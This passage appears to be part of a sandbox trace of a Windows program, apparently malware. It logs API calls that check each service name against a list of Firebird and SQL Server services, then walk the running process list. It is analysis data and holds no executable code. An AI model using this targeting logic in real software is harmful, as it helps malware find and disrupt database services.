(lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0231.717] lstrlenW (lpString="FontCache") returned 9 [0231.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0231.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0231.717] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0231.717] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0231.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0231.718] lstrlenW (lpString="gpsvc") returned 5 [0231.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0231.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0231.718] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0231.718] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0231.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0231.718] lstrlenW (lpString="iphlpsvc") returned 8 [0231.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0231.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0231.718] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0231.718] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0231.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0231.718] lstrlenW (lpString="KeyIso") returned 6 [0231.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0231.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0231.718] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0231.718] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0231.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0231.718] lstrlenW (lpString="LanmanServer") returned 12 [0231.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0231.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0231.718] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0231.718] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0231.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0231.718] lstrlenW (lpString="LanmanWorkstation") returned 17 [0231.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0231.719] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0231.719] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0231.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0231.719] lstrlenW (lpString="lfsvc") returned 5 [0231.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0231.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0231.719] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0231.719] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0231.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0231.719] lstrlenW (lpString="lmhosts") returned 7 [0231.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0231.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0231.719] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0231.719] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0231.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0231.719] lstrlenW (lpString="LSM") returned 3 [0231.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0231.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0231.719] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0231.719] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0231.719] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0231.719] lstrlenW (lpString="MpsSvc") returned 6 [0231.719] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0231.719] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0231.719] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0231.719] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0231.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0231.720] lstrlenW (lpString="NcbService") returned 10 [0231.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0231.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0231.720] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0231.720] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0231.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0231.720] lstrlenW (lpString="netprofm") returned 8 [0231.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0231.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0231.720] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0231.720] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0231.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0231.720] lstrlenW (lpString="NgcSvc") returned 6 [0231.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0231.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0231.720] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0231.720] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0231.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0231.720] lstrlenW (lpString="NlaSvc") returned 6 [0231.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0231.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0231.720] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0231.720] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0231.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0231.720] lstrlenW (lpString="nsi") returned 3 [0231.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0231.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0231.721] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0231.721] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0231.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0231.721] lstrlenW (lpString="PcaSvc") returned 6 [0231.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0231.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0231.721] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0231.721] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0231.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0231.721] lstrlenW (lpString="PlugPlay") returned 8 [0231.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0231.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0231.721] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0231.721] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0231.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0231.721] lstrlenW (lpString="Power") returned 5 [0231.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0231.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0231.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0231.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0231.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0231.721] lstrlenW (lpString="ProfSvc") returned 7 [0231.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0231.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0231.721] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0231.721] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0231.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0231.722] lstrlenW (lpString="RpcEptMapper") returned 12 [0231.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0231.722] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0231.722] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0231.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0231.722] lstrlenW (lpString="RpcSs") returned 5 [0231.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0231.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0231.722] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0231.722] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0231.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0231.722] lstrlenW (lpString="SamSs") returned 5 [0231.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0231.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0231.722] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0231.722] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0231.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0231.722] lstrlenW (lpString="Schedule") returned 8 [0231.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0231.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0231.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0231.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0231.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0231.947] lstrlenW (lpString="SecurityHealthService") returned 21 [0231.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0231.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0231.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0231.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0231.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0231.947] lstrlenW (lpString="SENS") returned 4 [0231.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0231.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0231.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0231.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0231.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0231.947] lstrlenW (lpString="ShellHWDetection") returned 16 [0231.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0231.947] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0231.947] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0231.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0231.947] lstrlenW (lpString="Spooler") returned 7 [0231.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0231.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0231.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0231.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0231.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0231.947] lstrlenW (lpString="StateRepository") returned 15 [0231.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0231.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0231.947] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0231.947] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0231.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0231.947] lstrlenW (lpString="SysMain") returned 7 [0231.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0231.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0231.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0231.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0231.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0231.948] lstrlenW (lpString="SystemEventsBroker") returned 18 [0231.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0231.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0231.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0231.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0231.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0231.948] lstrlenW (lpString="Themes") returned 6 [0231.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0231.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0231.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0231.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0231.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0231.948] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0231.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0231.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0231.948] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0231.948] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0231.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0231.948] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0231.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0231.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0231.948] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0231.948] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0231.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4203f80 | out: hHeap=0x670000) returned 1 [0231.949] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3bc [0231.957] Process32FirstW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.957] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.958] lstrlenW (lpString="System") returned 6 [0231.958] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.958] lstrlenW (lpString="smss.exe") returned 8 [0231.958] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.959] lstrlenW (lpString="csrss.exe") returned 9 [0231.959] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.959] lstrlenW (lpString="wininit.exe") returned 11 [0231.959] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.960] lstrlenW (lpString="csrss.exe") returned 9 [0231.960] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.960] lstrlenW (lpString="winlogon.exe") returned 12 [0231.960] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.961] lstrlenW (lpString="services.exe") returned 12 [0231.961] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.961] lstrlenW (lpString="lsass.exe") returned 9 [0231.961] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.962] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0231.962] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.962] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0231.962] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.963] lstrlenW (lpString="svchost.exe") returned 11 [0231.963] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.963] lstrlenW (lpString="svchost.exe") returned 11 [0231.963] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.964] lstrlenW (lpString="dwm.exe") returned 7 [0231.964] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.964] lstrlenW (lpString="svchost.exe") returned 11 [0231.964] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.965] lstrlenW (lpString="svchost.exe") returned 11 [0231.965] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.965] lstrlenW (lpString="svchost.exe") returned 11 [0231.965] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.966] lstrlenW (lpString="svchost.exe") returned 11 [0231.966] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.966] lstrlenW (lpString="svchost.exe") returned 11 [0231.966] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.967] lstrlenW (lpString="svchost.exe") returned 11 [0231.967] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.967] lstrlenW (lpString="svchost.exe") returned 11 [0231.967] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.968] lstrlenW (lpString="svchost.exe") returned 11 [0231.968] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.968] lstrlenW (lpString="svchost.exe") returned 11 [0231.968] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.969] lstrlenW (lpString="svchost.exe") returned 11 [0231.969] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.969] lstrlenW (lpString="spoolsv.exe") returned 11 [0231.969] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.970] lstrlenW (lpString="svchost.exe") returned 11 [0231.970] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.970] lstrlenW (lpString="audiodg.exe") returned 11 [0231.970] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.971] lstrlenW (lpString="sihost.exe") returned 10 [0231.971] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.971] lstrlenW (lpString="svchost.exe") returned 11 [0231.971] Process32NextW (in: hSnapshot=0x3bc, lppe=0x248fd2c | out: 